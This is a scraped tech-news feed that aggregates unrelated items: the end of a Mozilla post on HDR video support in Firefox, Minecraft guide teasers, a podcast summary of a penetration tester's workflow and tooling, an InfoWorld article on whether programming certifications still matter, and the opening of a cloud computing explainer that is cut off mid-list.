<li>There is a very large amount of graphics code in Gecko and WebRender that needs to be upgraded for HDR.
<ul class="wp-block-list">
<li>We decided that the most important code paths to upgrade first are the ones for regular video playback and DRM-protected video playback, and later canvas video import (Canvas2D, WebGL, WebGPU) which will require upgrading canvas for HDR first – another big project.</li>



<li>We had to upgrade several dozen structs to carry the transfer function for video data, as previously all code assumed video used BT1886 EOTF.</li>
</ul>
</li>



<li>We hope we can avoid tone mapping HDR content when viewed on HDR displays.
<ul class="wp-block-list">
<li>It’s reasonable to expect that most displays going forward will be HDR displays (partly because of marketing momentum, partly because displays are made by a very finite set of manufacturers who are all making HDR display panels), and eventually tone mapping may become unnecessary on the web.</li>



<li>For the short-term we will have to apply a tone mapping effect when HDR content is viewed on SDR displays, likely using  ‘Reinhard tonemapping’ which refers to the widely available paper <a href="https://doi.org/10.1145/566654.566575">Photographic Tone Reproduction for Digital Images</a> by Erik Reinhard et al, and configuring it for a fixed brightness ratio of 400 cd/m^2 -&gt; 100 cd/m^2 when used on SDR displays, and see if that fits all HDR content on the web well enough for a good user experience – and if it does not, we will iterate based on feedback from users on Firefox Nightly.</li>



<li>We are hoping that we will never have to apply tonemapping for HDR content on HDR displays, there are multiple factors in this decision:
<ul class="wp-block-list">
<li>Varying the brightness limit would make it a significant fingerprinting vector if not handled very carefully if the script can inspect pixels or parameters related to that.  There are ways to mitigate this but they are all awkward restrictions to impose, and queries would have to get a different answer than what the rendering is using.</li>



<li>Phones and laptops with light sensors may vary the reference brightness in real time, and this changes the maximum displayable ratio (aka HDR headroom) every refresh, which is also a major battery drain if we keep redrawing all of the time.</li>



<li>Documents composed of multiple images (a gallery or some form of art composition) would apply different tonemapping to each image if the brightest pixel in each image is different brightness).  We’d have to do something about that to make it controllable via CSS.</li>



<li>In general the detailed parts of an image are within a certain brightness band – see <a href="https://www.yedlin.net/DebunkingHDR/">Debunking HDR</a> for a detailed lecture on film grading and why you would not have significant difference in brightness between scene elements.</li>



<li>User feedback so far has indicated that not applying tonemapping has given them a better viewing experience on some videos.</li>
</ul>
</li>
</ul>
</li>



<li>WebRTC is implemented using a library, common to all web browsers, which has limited support for HDR.
<ul class="wp-block-list">
<li>While we didn’t prioritize this for an initial feature launch, we are looking at how to implement HDR support properly in libwebrtc. This is in the early assessment phase but we know this is wanted for a couple of use-cases, like video calls for meetings, or game streaming with friends watching.</li>
</ul>
</li>
</ul>



<p class="wp-block-paragraph">In general, one of the biggest challenges in working on graphics code in a web browser is a lack of documentation for how to best use features like video playback and desktop compositing in the context of a web browser (e.g. multiple processes, sandboxing, shared memory, sharing external textures, etc). This parallels the rarity of graphics engineers with such experience. Building new features in this space requires a lot of research (and a lot of trial and error). The solution you end up with may not look at all like the one you initially imagined.</p>



<p class="wp-block-paragraph">On behalf of the graphics team at Mozilla, I want to thank the people who use Firefox Nightly regularly and file bug reports when things aren’t working the way they want. Comments on <a href="https://mozillagfx.wordpress.com/2026/01/16/experimental-high-dynamic-range-video-playback-on-windows-in-firefox-nightly-148/">Experimental High Dynamic Range video playback on Windows in Firefox Nightly 148</a>, <a href="https://connect.mozilla.org/">Mozilla Connect</a>, and <a href="https://bugzilla.mozilla.org/">Bugzilla</a> bug reports have guided us to focus on the use-cases that matter to people using Firefox. When we succeed, it’s a great feeling.</p>



<p class="wp-block-paragraph">We’re working on extending HDR support to photos, apps/games and general web content.</p>]]></content:encoded>
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<title><![CDATA[How to Convert Minecraft Bedrock Seeds to Java Edition]]></title>
<description><![CDATA[Minecraft is available on all popular platforms/devices, from desktop computers to mobile phones. Some platforms even have more than one edition of the game. Two of the most widely played are Minecraft Bedrock Edition and Minecraft Java Edition — and knowing how to use bedrock seeds to java world...]]></description>
<link>https://tsecurity.de/de/3666687/betriebssysteme/how-to-convert-minecraft-bedrock-seeds-to-java-edition/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3666687/betriebssysteme/how-to-convert-minecraft-bedrock-seeds-to-java-edition/</guid>
<pubDate>Tue, 14 Jul 2026 03:39:13 +0200</pubDate>
<category>🖥️  Betriebssysteme</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Minecraft is available on all popular platforms/devices, from desktop computers to mobile phones. Some platforms even have more than one edition of the game. Two of the most widely played are Minecraft Bedrock Edition and Minecraft Java Edition — and knowing how to use bedrock seeds to java worlds, and vice versa, matters a great […]</p>
<p>The post <a rel="nofollow" href="https://www.addictivetips.com/gaming/minecraft-bedrock-seeds-to-java/">How to Convert Minecraft Bedrock Seeds to Java Edition</a> appeared first on <a rel="nofollow" href="https://www.addictivetips.com/">AddictiveTips</a>.</p>]]></content:encoded>
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<item>
<title><![CDATA[How to Make Glass in Minecraft – Step-by-Step Crafting Guide]]></title>
<description><![CDATA[If you want to know how to make glass in Minecraft, the process is straightforward. Glass is an easy-to-craft block that works well as a building material, though it is not blast-resistant. It’s great as an aesthetic block and you can use it to craft a few useful things like a beacon or a glass [...]]></description>
<link>https://tsecurity.de/de/3666686/betriebssysteme/how-to-make-glass-in-minecraft-step-by-step-crafting-guide/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3666686/betriebssysteme/how-to-make-glass-in-minecraft-step-by-step-crafting-guide/</guid>
<pubDate>Tue, 14 Jul 2026 03:39:12 +0200</pubDate>
<category>🖥️  Betriebssysteme</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>If you want to know how to make glass in Minecraft, the process is straightforward. Glass is an easy-to-craft block that works well as a building material, though it is not blast-resistant. It’s great as an aesthetic block and you can use it to craft a few useful things like a beacon or a glass […]</p>
<p>The post <a rel="nofollow" href="https://www.addictivetips.com/gaming/how-to-make-glass-in-minecraft/">How to Make Glass in Minecraft – Step-by-Step Crafting Guide</a> appeared first on <a rel="nofollow" href="https://www.addictivetips.com/">AddictiveTips</a>.</p>]]></content:encoded>
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<item>
<title><![CDATA[HPR4682: Behind the Keyboard: A Cybersecurity Operator’s Real-World Workflow]]></title>
<description><![CDATA[This show has been flagged as Explicit by the host.










SUMMARY


The presenter outlines a practical cybersecurity workflow, covering ergonomic setups, browser isolation, virtual machine troubleshooting, AI-assisted scripting, and network tunneling methods utilized during active securi...]]></description>
<link>https://tsecurity.de/de/3666605/podcasts/hpr4682-behind-the-keyboard-a-cybersecurity-operators-real-world-workflow/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3666605/podcasts/hpr4682-behind-the-keyboard-a-cybersecurity-operators-real-world-workflow/</guid>
<pubDate>Tue, 14 Jul 2026 02:03:31 +0200</pubDate>
<category>🎥 Podcasts</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This show has been flagged as Explicit by the host.</p>

<h1>

</h1>

<h1>

</h1>

<h1>
SUMMARY</h1>

<p>
The presenter outlines a practical cybersecurity workflow, covering ergonomic setups, browser isolation, virtual machine troubleshooting, AI-assisted scripting, and network tunneling methods utilized during active security assessments.</p>

<h1>
ONE-SENTENCE TAKEAWAY</h1>

<p>
Isolate browser environments, utilize automation scripts, and verify network paths before starting security tests to avoid workflow interruptions.</p>

<h1>
TOOLS</h1>

<ul>

<li>

<strong>
Talon Voice</strong>
 – Open-source voice recognition software enabling hands-free computer control and command execution.</li>

<li>

<strong>
Obsidian</strong>
 – Local-first markdown note-taking application supporting secure, AI-friendly knowledge management.</li>

<li>

<strong>
AutoHotkey</strong>
 – Windows scripting utility for creating custom macros and remapping keyboard inputs.</li>

<li>

<strong>
Chrome Debug Commands</strong>
 – Browser developer tools allowing direct inspection of extensions, cookies, and storage.</li>

<li>

<strong>
Whisper Diarization</strong>
 – Audio processing script that separates speaker tracks and converts recordings to searchable text.</li>

<li>

<strong>
Hyper-V / WSL</strong>
 – Microsoft virtualization platforms enabling isolated guest environments and Linux subsystem integration.</li>

<li>

<strong>
OpenConnect / OpenVPN</strong>
 – Command-line tunneling clients used for establishing secure, split-tunnel network connections.</li>

<li>

<strong>
Jamboree Framework</strong>
 – Portable PowerShell environment that dynamically provisions development tools without altering system paths.</li>

<li>

<strong>
MOBA Portable</strong>
 – Feature-rich terminal emulator supporting static/dynamic tunnels, auto-reconnect, and embedded X-server capabilities.</li>

<li>

<strong>
Nmap</strong>
 – Network discovery and security auditing tool utilized for comprehensive port scanning and service detection.</li>

</ul>

<h2>
00:00:00 Ergonomic Workspace Configuration</h2>

<p>
Configures physical workstation elements to reduce strain during extended testing sessions. Proper alignment prevents repetitive stress injuries while maintaining focus on technical tasks.</p>

<ul>

<li>

<strong>
Monitor Positioning</strong>
 – Displays should align with eye level to maintain neutral neck posture; the speaker notes their curved 49-inch screen sits slightly high due to chair adjustments.</li>

<li>

<strong>
Split Keyboard Layout</strong>
 – Utilizes a Freestyle 2 mechanical keyboard, allowing natural shoulder-width arm placement and reducing wrist deviation during prolonged typing.</li>

<li>

<strong>
Postural Adaptation</strong>
 – Acknowledges that ergonomic equipment requires matching body alignment; elbow rests should sit between hip and shoulder height for optimal leverage.</li>

</ul>

<h2>
01:45:00 Voice Control &amp; Note Synchronization</h2>

<p>
Utilizes auditory input methods and localized knowledge bases to streamline documentation workflows. Separating secure work notes from casual observations prevents data contamination.</p>

<ul>

<li>

<strong>
Talon Voice Integration</strong>
 – Runs continuously to handle navigation, text entry, and application switching without manual keyboard interaction.</li>

<li>

<strong>
Obsidian Migration</strong>
 – Transitions from cloud-based keep apps to local markdown files, enabling direct querying by local AI models while maintaining offline accessibility.</li>

<li>

<strong>
Note Categorization</strong>
 – Divides information into secure work records and insecure personal logs, ensuring clean data pipelines for future retrieval and analysis.</li>

</ul>

<h2>
03:50:00 Browser Extension Management &amp; Security Isolation</h2>

<p>
Separates web browsing activities from primary work processes to minimize attack surfaces. Running dedicated user profiles prevents plugin conflicts and credential leakage.</p>

<ul>

<li>

<strong>
Jailed User Accounts</strong>
 – Creates restricted system profiles that only launch the browser, isolating extensions from core workstation operations.</li>

<li>

<strong>
Shared Folder Synchronization</strong>
 – Establishes a single directory path bridging work and browsing users, allowing seamless file transfers without cross-contamination.</li>

<li>

<strong>
Extension Audit Process</strong>
 – Leverages Chrome debug commands to enumerate installed plugins, verifying functionality before deployment on target networks.</li>

</ul>

<h2>
06:15:00 Training Optimization &amp; Audio Processing</h2>

<p>
Accelerates mandatory compliance viewing through speed manipulation and automated transcription. Converting video content into searchable text enables rapid information retrieval.</p>

<ul>

<li>

<strong>
Global Speed Control</strong>
 – Increases playback rates up to sixteen times normal speed, drastically reducing time spent on repetitive corporate training modules.</li>

<li>

<strong>
Whisper Diarization Pipeline</strong>
 – Downloads video tracks, separates speaker voices, and generates timestamped transcripts for quick reference during assessments.</li>

<li>

<strong>
Download Management</strong>
 – Employs multi-threaded swarm downloaders and classic turbo managers to handle bulk media retrieval without interrupting active workflows.</li>

</ul>

<h2>
10:40:00 Virtualization &amp; Network Tunneling Protocols</h2>

<p>
Establishes isolated testing environments using Windows virtual machines while managing connectivity constraints. Proper session handling prevents unexpected disconnections during remote engagements.</p>

<ul>

<li>

<strong>
Enhanced Session Mode</strong>
 – A Hyper-V feature providing higher resolution and shared clipboard functionality; disabling it is required before initiating certain VPN clients to avoid routing conflicts.</li>

<li>

<strong>
Split Tunneling Mechanics</strong>
 – Routes specific traffic through the virtual network while keeping local resources accessible, preventing complete internet loss during connection tests.</li>

<li>

<strong>
Certificate Verification</strong>
 – Identifies self-signed SSL mismatches early in the process, documenting them as preliminary findings before proceeding with authentication steps.</li>

</ul>

<h2>
15:30:00 Macro Automation &amp; Input Remapping</h2>

<p>
Remaps frequently used keyboard shortcuts to reduce physical strain and accelerate command execution. Running scripts with elevated privileges ensures reliable input registration across virtual environments.</p>

<ul>

<li>

<strong>
Caps Lock Repurposing</strong>
 – Converts the caps lock key into a primary modifier, assigning copy/paste functions to adjacent letters for faster workflow navigation.</li>

<li>

<strong>
Physical Typing Macros</strong>
 – Simulates keystrokes with deliberate delays, allowing seamless data entry into restricted VM consoles that block standard clipboard operations.</li>

<li>

<strong>
Administrator Execution Requirement</strong>
 – Highlights that macro scripts must run with elevated privileges to successfully inject inputs across different desktop sessions.</li>

</ul>

<h2>
20:15:00 Portable Development Environments &amp; Python Management</h2>

<p>
Deploys lightweight scripting frameworks that dynamically provision necessary tools without modifying host configurations. Verifying package contents prevents dependency conflicts during testing.</p>

<ul>

<li>

<strong>
Jamboree Framework</strong>
 – A PowerShell-driven utility that downloads and configures development stacks on demand, resetting environment variables to maintain system cleanliness.</li>

<li>

<strong>
NuGet Package Filtering</strong>
 – Queries Microsoft's repository API to retrieve specific Python versions, ensuring compatibility with legacy tunneling scripts.</li>

<li>

<strong>
Binary Verification Process</strong>
 – Checks extracted archives for bundled <code>
pip.exe</code>
 or <code>
pip3.exe</code>
 executables, eliminating manual module installation steps during rapid deployments.</li>

</ul>

<h2>
28:40:00 AI-Assisted Scripting &amp; Debugging Workflows</h2>

<p>
Generates and refines PowerShell functions through iterative conversational prompts. Validating AI output against actual system behavior prevents silent configuration errors.</p>

<ul>

<li>

<strong>
Vibe Coding Approach</strong>
 – Relies on continuous feedback loops with language models to draft, minimize, and debug automation scripts in real-time.</li>

<li>

<strong>
Parameter Standardization</strong>
 – Enforces strict formatting rules for PowerShell commands, avoiding hardcoded paths and ensuring cross-environment compatibility.</li>

<li>

<strong>
Temporary Storage Management</strong>
 – Monitors extraction directories to prevent disk saturation, redirecting large package downloads away from constrained system partitions.</li>

</ul>

<h2>
35:10:00 Terminal Emulation &amp; Advanced Tunneling Strategies</h2>

<p>
Facilitates complex network routing through dedicated terminal applications. Configuring dynamic and static tunnels enables reliable reverse connections for remote assessments.</p>

<ul>

<li>

<strong>
MOBA Portable Configuration</strong>
 – Utilizes an INI-based tunnel manager that automatically maintains connections across changing IP addresses or Wi-Fi networks.</li>

<li>

<strong>
Reverse Shell Routing</strong>
 – Establishes outbound channels back to the tester, then proxies all subsequent traffic through those connections for consistent monitoring.</li>

<li>

<strong>
Proxy Chain Integration</strong>
 – Forces non-proxy-aware applications to route through Burp Suite or custom interceptors using Windows utility wrappers like Priboxy.</li>

</ul>

<h2>
42:30:00 Final Connectivity Testing &amp; Engagement Wrap-Up</h2>

<p>
Executes comprehensive port scans to verify target accessibility before documenting findings. Acknowledging workflow detours ensures realistic time management during active engagements.</p>

<ul>

<li>

<strong>
Nmap Verification</strong>
 – Runs full-port scans with verbose output to confirm host responsiveness and identify open services prior to credential testing.</li>

<li>

<strong>
Connection Refusal Documentation</strong>
 – Captures screenshot evidence of failed routing attempts, providing clear proof of network restrictions for client reporting.</li>

<li>

<strong>
Workflow Reflection</strong>
 – Recognizes that exploratory debugging adds value but requires time boundaries; balancing thoroughness with engagement scope maintains professional efficiency.</li>

</ul>

<p>

</p>


<p><a href="https://hackerpublicradio.org/eps/hpr4682/index.html#comments">Provide <strong>feedback</strong> on this episode</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Do programming certifications still matter?]]></title>
<description><![CDATA[If you’re a software developer or architect, you might wonder if programming certifications are still worth the effort, especially in the era of rapid AI-driven evolution. The short answer is, it depends.



“Certifications are shifting from a checkbox to a compass. They’re less about proving you...]]></description>
<link>https://tsecurity.de/de/3665678/ai-nachrichten/do-programming-certifications-still-matter/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3665678/ai-nachrichten/do-programming-certifications-still-matter/</guid>
<pubDate>Mon, 13 Jul 2026 17:04:44 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">If you’re a software developer or architect, you might wonder if programming certifications are still worth the effort, especially in the era of rapid <a href="https://www.infoworld.com/article/2338115/what-is-generative-ai-artificial-intelligence-that-creates.html" data-type="link" data-id="https://www.infoworld.com/article/2338115/what-is-generative-ai-artificial-intelligence-that-creates.html">AI-driven evolution</a>. The short answer is, it depends.</p>



<p class="wp-block-paragraph">“Certifications are shifting from a checkbox to a compass. They’re less about proving you memorized syntax and more about proving you can architect systems, instruct AI coding assistants, and solve problems end-to-end,” says Faizel Khan, lead AI engineer at <a href="https://landingpoint.com/">Landing Point</a>, an executive search and recruiting firm.</p>



<p class="wp-block-paragraph">“In the AI era, fewer students will get trained on the job, which means they have to train themselves,” Khan says. “Certifications—especially architectural ones like AWS, Kubernetes, Terraform—are still the clearest path to do that.”</p>



<h2 class="wp-block-heading">Pros and cons of programming certifications</h2>



<p class="wp-block-paragraph">It’s not all black and white when it comes to deciding whether to pursue programming certifications. The effort involves both pros and cons.</p>



<p class="wp-block-paragraph">“In terms of pros, certifications concretely demonstrate that you have a skillset at a documented level,” says Chris Riccio, vice president of engineering at <a href="https://uplevelteam.com/">Uplevel</a>, an engineering optimization system provider. “They also show that you’ve put in the time and effort to learn, study, and prepare.”</p>



<p class="wp-block-paragraph">Programming certifications are “a useful way to validate foundational skills and show that someone understands core concepts,” says Greg Fuller, vice president of Skillsoft’s training provider, <a href="https://www.codecademy.com/">Codecademy</a>. “They’re especially helpful for people entering the field or shifting from adjacent roles.”</p>



<p class="wp-block-paragraph">Certifications offer a structured path to demonstrate proficiency, and they can confirm your ability to build and deploy in various environments, Fuller says.</p>



<p class="wp-block-paragraph">These types of certifications often demonstrate baseline proficiency and continuous learning, says Reshmi Ramachandran, head of partnerships and GTM strategy for <a href="https://www.cprime.com/">Cprime</a>, a consultancy. “These are often key indications of proficiency for companies looking to filter large candidate pools,” she says.</p>



<p class="wp-block-paragraph">Certifications really do two things, Khan adds. “First, they force you to learn by doing,” he says. “If you’re taking AWS Solutions Architect or Terraform, you don’t pass by guessing—you plan, build, and test systems. That practice matters. Second, they act as a public signal. Think of it like a micro-degree. You’re not just saying, ‘I know cloud.’ You’re showing you’ve crossed a bar that thousands of other engineers recognize.”</p>



<p class="wp-block-paragraph">But there are cons, too. “In tech, employers don’t just want credentials, they want proof you can deliver,” says Kevin Miller, CTO at <a href="https://www.ifs.com/industries/manufacturing/industrial-manufacturing">IFS</a>, a maker of factory automation software. “Programming certifications can be a valuable indicator of your baseline knowledge and competencies, especially if you’re early in your career or pivoting into tech, but their importance is dwindling.”</p>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/generative-ai/">AI tools</a> that can generate, debug, and optimize code are <a href="https://www.infoworld.com/article/4077352/85-of-developers-use-ai-regularly-jetbrains-survey.html" data-type="link" data-id="https://www.infoworld.com/article/4077352/85-of-developers-use-ai-regularly-jetbrains-survey.html">already performing tasks once done by entry-level developers</a>, “which means fewer traditional programming roles are available,” Miller says. “As a result, the job market is becoming more competitive, and certifications aren’t seen as the noteworthy achievement they once were.”</p>



<p class="wp-block-paragraph">What’s more, not all certifications carry the same weight, Riccio says. “Some may reflect only familiarity rather than true expertise,” he says. “Certifications also often measure ‘book knowledge’ rather than practical experience, and they don’t always map clearly to the requirements of a specific role.”</p>



<p class="wp-block-paragraph">Programming certifications “can be a helpful signal, especially for confirming baseline knowledge in areas like cloud, security, or devops, but they’re not the full picture,” says Morgan Watts, vice president of IT at <a href="https://developer.8x8.com/">8×8</a>, a contact center platform developer.</p>



<p class="wp-block-paragraph">“I’m more interested in a candidate’s attitude and aptitude: what problems they’ve solved, what they’ve built, and how they’ve approached challenges,” Watts says. “Certifications can show commitment and discipline, and they’re especially useful in highly specialized roles. But I’m cautious when someone presents a laundry list of certifications with little evidence of real-world application.”</p>



<p class="wp-block-paragraph">A certification without experience doesn’t carry much weight, Watts says, and over-certification can sometimes signal the wrong focus. “Ultimately, it’s the ability to apply knowledge, collaborate, and adapt that sets great developers apart,” he says.</p>



<p class="wp-block-paragraph">Finally, certifications can age fast, Khan says. “Tech stacks evolve and a badge from two years ago may already feel dusty,” he says. “And some certifications are paper-thin—multiple-choice exams that don’t prove you can debug production at 2 a.m. So, the risk is you collect badges but still can’t ship.”</p>



<h2 class="wp-block-heading">Which certifications will get you noticed?</h2>



<p class="wp-block-paragraph">Despite the drawbacks, certifications are still very much in demand, and some carry more weight than others.</p>



<p class="wp-block-paragraph">The most in-demand certifications are typically platform-based—Amazon Web Services (AWS), Google Cloud Platform (GCP), Microsoft Azure, and others, Riccio says. “Many of these platforms provide managed services that integrate with existing systems or serve as the glue between them,” he says. “Today’s engineering teams aren’t just building standalone systems in isolation; they’re using other systems to store data, orchestrate business workflows, and connect applications.”</p>



<p class="wp-block-paragraph">A certification that demonstrates the ability to build solutions on these platforms can put a development professional ahead of the competition, Riccio says.</p>



<p class="wp-block-paragraph">“The certifications I see in highest demand tend to reflect the evolving tech landscape,” Watts says. “Cloud certifications from AWS, Azure, and GCP are incredibly valuable, especially as distributed systems become the norm.”</p>



<p class="wp-block-paragraph">Also in demand are certifications for <a href="https://www.infoworld.com/article/3632270/the-devops-certifications-tech-companies-want.html">devops and CI/CD tools</a> including <a href="https://www.infoworld.com/article/3529526/how-to-succeed-with-kubernetes.html">Kubernetes</a>, <a href="https://www.infoworld.com/article/2257241/why-you-should-use-docker-and-oci-containers.html">Docker</a>, and <a href="https://www.infoworld.com/article/2260091/what-is-jenkins-the-ci-server-explained.html">Jenkins</a>, Watts says, “because deployment automation and reliability are critical at scale. Also, with AI reshaping development, we’re seeing growing interest in certifications around machine learning, data science, and AI model integration. These certifications stand out because they align directly with the skills that teams need to move faster and more intelligently.”</p>



<aside class="sidebar large">
<h3>More about developer certifications</h3>
<p>Learn more about developer courses and certifications tech companies want:</p>
<ul>
<li><a href="https://www.infoworld.com/article/4055032/ai-developer-certifications-tech-companies-want.html">AI developer certifications</a></li>
<li><a href="https://www.infoworld.com/article/3583466/the-machine-learning-certifications-tech-companies-want.html">Machine learning certifications</a></li>
<li><a href="https://www.infoworld.com/article/2337635/4-cloud-certifications-that-will-help-you-stand-out.html">Cloud development certifications</a></li>
<li><a href="https://www.infoworld.com/article/3632270/the-devops-certifications-tech-companies-want.html">Devops and CI/CD certifications</a></li>
</ul>
</aside>




<p class="wp-block-paragraph">On the AI front, certifications in <a href="https://www.infoworld.com/article/2255099/what-is-tensorflow-the-machine-learning-library-explained.html">TensorFlow</a> and other <a href="https://www.infoworld.com/article/3583466/the-machine-learning-certifications-tech-companies-want.html">machine learning platforms</a> are gaining traction as organizations look to embed AI across the development process, Watts says. “These are the certifications that align closely with where modern engineering is headed—scalable, secure, and AI-enabled,” he says.</p>



<p class="wp-block-paragraph">And then there are <a href="https://www.csoonline.com/article/3970107/the-14-most-valuable-cybersecurity-certifications.html">cybersecurity credentials</a> that continue to be in high demand. Security certifications, such as CompTIA Security+ or Certified Ethical Hacker, “have become essential as every company faces increasing cyber threats and compliance requirements,” Miller says.</p>



<p class="wp-block-paragraph">“Core programming certifications are still a bit niche, but the adjacent skills, like those that help developers deploy, secure, and scale their code, are driving demand,” Fuller says. “Companies want developers who understand the full lifecycle, not just how to write code.”</p>



<p class="wp-block-paragraph"><strong>Also see: <a href="https://www.infoworld.com/article/3980325/the-java-certifications-tech-companies-want.html">The best Java certifications for software developers</a>.</strong></p>



<h2 class="wp-block-heading">Certifications in the hiring process</h2>



<p class="wp-block-paragraph">Experts are clear that programming certifications alone will not get you the job. But they do play a role in the hiring process.</p>



<p class="wp-block-paragraph">“The information technology world is characterized by rapid and continuous evolution, including the skills and knowledge required to work in the field,” says Diane Rafferty, managing director of the National Technology Group at <a href="https://www.atriumglobal.com/">Atrium</a>, a global talent solutions and extended workforce management firm.</p>



<p class="wp-block-paragraph">“Certifications not only prove that you have the skills and knowledge needed, but they also show employers that you’re invested in your education and career growth,” Rafferty says. “They can give you a competitive edge when looking for a job, as many companies now require candidates to have them.”</p>



<p class="wp-block-paragraph">Certifications are one part of the hiring equation, “but never the only part,” Watts says. “They help validate that a candidate has taken the time to build foundational knowledge, and that’s a good sign. But I put more weight on how a person thinks, solves problems, and contributes to the team. I look for people who are curious and proactive, who are learning because they want to, not just because a course told them to.”</p>



<p class="wp-block-paragraph">Certifications can also play a valuable role in retention, Watts says. “I encourage team members to pursue growth, and when they invest in their own development, the whole organization benefits,” he says. “But again, it’s that balance of knowledge, attitude, and applied experience that really moves the needle.”</p>



<p class="wp-block-paragraph">Certifications “may allow you to breeze through the initial résumé screening process, potentially getting you to the next stage faster,” Riccio says. “At a minimum, they will set your profile apart from the rest of the pack. They also demonstrate that you’ve reached a baseline level of expertise, allowing hiring managers to quickly evaluate whether you have the skills for the role.”</p>



<p class="wp-block-paragraph">Employers today “care far less about whether someone has passed an exam and far more about whether they can apply knowledge effectively in real-world situations, leverage AI tools, and solve complex problems,” Miller says. “A certification might get someone an interview, but being able to demonstrate problem-solving skills, teamwork, and adaptability will really make them stand out.”</p>



<h2 class="wp-block-heading">Popular programming certifications</h2>



<p class="wp-block-paragraph">The following certifications consistently rose to the top in my conversations with tech leaders and hiring managers.</p>



<h3 class="wp-block-heading">AWS Certified Developer—Associate</h3>



<p class="wp-block-paragraph">Showcases skills and knowledge in developing, optimizing, packaging, and deploying applications, using CI/CD workflows, and identifying and resolving application issues, according to AWS. This certification is said to be a good starting point on the AWS certification journey for professionals in IT or cloud developer job roles.</p>



<h3 class="wp-block-heading">Azure Developer Associate</h3>



<p class="wp-block-paragraph">This certificate from Microsoft is intended for developers participating in all phases of cloud development, including design, deployment, maintenance, and monitoring. The course teaches developers how to create end-to-end solutions in Microsoft Azure, using the Microsoft Learn Sandbox environment to access Azure resources and services.</p>



<h3 class="wp-block-heading">Certified Kubernetes Application Developer (CKAD)</h3>



<p class="wp-block-paragraph">This certification was created by the Linux Foundation and Cloud Native Computing Foundation. It demonstrates that candidates can design, build, and deploy cloud-native applications for Kubernetes.</p>



<h3 class="wp-block-heading">Certified Secure Software Lifecycle Professional (CSSLP)</h3>



<p class="wp-block-paragraph">This certification, from ISC2, focuses on secure software development practices. It recognizes leading application security skills and demonstrates advanced technical skills and knowledge needed for authentication, authorization, and auditing throughout the software development lifecycle.</p>



<h3 class="wp-block-heading">Databricks Certified Machine Learning Professional</h3>



<p class="wp-block-paragraph">Professionals learn about the latest data and AI techniques and how they can use the Databricks Data Intelligence Platform to build a variety of solutions across data engineering, data warehousing, data science, and AI.</p>



<h3 class="wp-block-heading">Professional Cloud Architect</h3>



<p class="wp-block-paragraph">This certification from Google assesses the ability to design and plan a cloud solution architecture, manage and provision the cloud solution infrastructure, design for security and compliance, analyze and optimize technical and business processes manage implementations of cloud architecture, and ensure solution and operations reliability.</p>



<h3 class="wp-block-heading">Terraform Associate</h3>



<p class="wp-block-paragraph">This certification from HashiCorp is for cloud engineers specializing in operations, IT, or development who know the basic concepts and skills associated with Terraform. It validates foundational skills in using <a href="https://www.infoworld.com/article/3893387/how-terraform-is-evolving-infrastructure-as-code.html">Terraform</a> for <a href="https://www.infoworld.com/article/2259359/what-is-infrastructure-as-code-automating-your-infrastructure-builds.html">infrastructure as code</a> development.</p>
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<title><![CDATA[What is cloud computing? From infrastructure to autonomous, agentic-driven ecosystems]]></title>
<description><![CDATA[Cloud computing continues to be the platform of choice for large applications and a driver of innovation in enterprise technology. Gartner forecasts public cloud spending alone to  the public cloud services market alone will reach $1.42 trillion in current U.S. dollars, driven by AI workloads and...]]></description>
<link>https://tsecurity.de/de/3665669/ai-nachrichten/what-is-cloud-computing-from-infrastructure-to-autonomous-agentic-driven-ecosystems/</link>
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<pubDate>Mon, 13 Jul 2026 17:04:32 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<h3 class="wp-block-heading"></h3>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/article/2337750/when-will-cloud-computing-stop-growing.html">Cloud computing</a> continues to be the <a href="https://www.cio.com/article/482179/volkswagen-drives-the-automotive-industry-cloud-forward.html">platform of choice for large applications</a> and a <a href="https://www.infoworld.com/article/2336917/cloud-computing-is-reinventing-cars-and-trucks.html">driver of innovation</a> in enterprise technology. <a href="https://www.gartner.com/en/newsroom/press-releases/2024-05-20-gartner-forecasts-worldwide-public-cloud-end-user-spending-to-surpass-675-billion-in-2024#:~:text=Worldwide%20end-user%20spending%20on,(GenAI)%20and%20application%20modernization.">Gartner </a>forecasts public cloud spending alone to  the<a href="https://www.gartner.com/en/documents/6302015#:~:text=Summary,AI%20workloads%20and%20enterprise%20modernization."> public cloud services market alone </a>will reach $1.42 trillion in current U.S. dollars, driven by AI workloads and enterprise modernization.</p>



<p class="wp-block-paragraph">Driving this growth are the rise of <a href="https://www.infoworld.com/article/2262333/youre-doing-cloud-based-ai-and-machine-learning-wrong.html">AI and machine learning on the cloud</a>, <a href="https://www.infoworld.com/article/2335144/what-happened-to-edge-computing.html">adoption of edge computing</a>, the maturation of <a href="https://www.infoworld.com/article/3406501/what-is-serverless-serverless-computing-explained.html">serverless computing</a>, the emergence of <a href="https://www.infoworld.com/article/3584433/are-you-ready-for-multicloud-a-checklist.html">multicloud strategies</a>, improved security and privacy, and more sustainable cloud practices.</p>



<h2 class="wp-block-heading">What is cloud computing?</h2>



<p class="wp-block-paragraph">While often used broadly, the term cloud computing is defined as an abstraction of compute, storage, and network infrastructure assembled as a platform on which applications and systems are deployed quickly and scaled on the fly.</p>



<p class="wp-block-paragraph">Most cloud customers consume <a href="https://www.cio.com/article/2097657/6-cloud-market-forces-impacting-it-strategies-today.html">public cloud </a>computing services over the internet, which are hosted in large, remote data centers maintained by cloud providers. The most common type of cloud computing, SaaS (software as service), delivers prebuilt applications to the browsers of customers who pay per seat or by usage, exemplified by such popular apps as Salesforce, Google Docs, or Microsoft Teams.</p>



<h3><strong> 5 top trends in cloud computing</strong></h3>

<ol>
